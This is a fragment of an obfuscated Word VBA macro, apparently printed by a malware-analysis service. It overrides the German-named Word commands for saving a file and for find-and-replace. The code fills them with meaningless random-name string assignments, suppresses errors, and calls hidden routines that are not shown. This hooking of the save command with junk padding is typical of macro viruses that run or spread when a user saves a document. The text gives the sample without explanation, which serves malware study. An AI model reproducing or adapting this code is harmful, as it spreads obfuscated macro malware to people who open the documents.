HgCkCgItJfFoEx = FtCsBkLtFrStGtHkPvMqKrSnSpEqDlIyFeFr & NfDuImDsEnNsFsVkUeVuLvPzAvNzJuTwEuSoAjAeKgBjPf25217606
Call OvBeTi8453
ShVwBlUxEkOjAvNiHvVhCoPxMhUyTtOhSzPxUtPy = KoLyGfAk & HyRwUhJhOkRyFwQtEqBpPtKsBnBmBvCiVsNjEzQfTpEnFnOmJqRfKlKyLwCz50739141
Rem NvDiSmSlJnGyLgOwVqOmLwIg
End Sub
Sub DateiSpeichern()
OoKqPkLgAzTgRtIeFtJnIuPoIfVrAsBqHjHsLlFj = GqVkEmRtJxEhOyNyGn & VnAeEkHz21095305
On Error Resume Next
UwLoPnKuBgMpDsCtNl = HzCrBpCoKwVmFiEhEtRnNhGgFyMgMkBrAqMhRzRhJpGeIi & VvCkJtPiSsViRzJyRpSjNzNqAjSkVrNhRlVsMlAvDm50562599
Call Es1298
MrPuEfOhHtNhQkPsNkLmSeQePgSnPm = QlHqJkAzCqUoBtLqKgBkSsKmDjHxStEuMuHyKrJpPkNlAvUrSx & TwFw9576129
Call OvBeTi8453
DnNePgVyEuLlVv = AqApLqRzGhPsImKjCiBwCmIfIwAsNtGjAnHqAlToMgSwJyIw & PkDsCyUiNfBzFoBvMtCvJoHvIlUuTpQrAiVoHeGrAnTmFzGqUjTwJl1296986
ActiveDocument.Save
DvMpJrBgNmKiSlHsTnQwNyIgNlVuGmQrSrHu = VsQrJoTxVgVm & OlIqEeQpQjJkQgQlFmFiGzHpOuAlQsDpSlKnMiNfLxIhHyIuSmUvIiVlRlKr12002943
End Sub
Sub BearbeitenErsetzen()
TqAtHjGiQiIyQfCyKlLvGfQlPtTkLnInBmJwBr = TlIrCrEwIwJyGkFoNtDy & FkAvMoLvRnMfUrNp66505506
On Error Resume Next
Rem TqVmEsApNwIxByGhOqAqAvJsUhMeBxQnEkNlGvPkJoAyGuHeIoQvLeTuCxVhEk
OmNtVmVpOuErJlFgIlJiMiKiIgRpSrBqLk = FeFhFjMtRjUwLiPmAkPpArVyKlMq & GnSkEfAiNyOyFiRhKjCqGgHzEtTqSeBtHpVoCw18727504
Call Es1298
DmTz = QuTq & NjPuHyGrMjOwNoJqHuDzJlEoLeNx20114821
Call OvBeTi8453
TyUiBuIlDwIwNrJeHjQfCe = SjNmKsGrAvShOiNjGgRnJvTtHvQtOoLeRg & BmGsIeNpNpUtVwOgEkJlCl23377913
Dialogs(wdDialogEditReplace).Show
NuLiPxBsBmEpFxMjGj = OpIhMhHwIxNvPyGfJmRvOeVqCnNtKiAhIoAfEeTlKt & TvHoUeHkIzHnFsAgLeCfTfHeMmJoKtHsOePeRmQrGvDz21254911
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.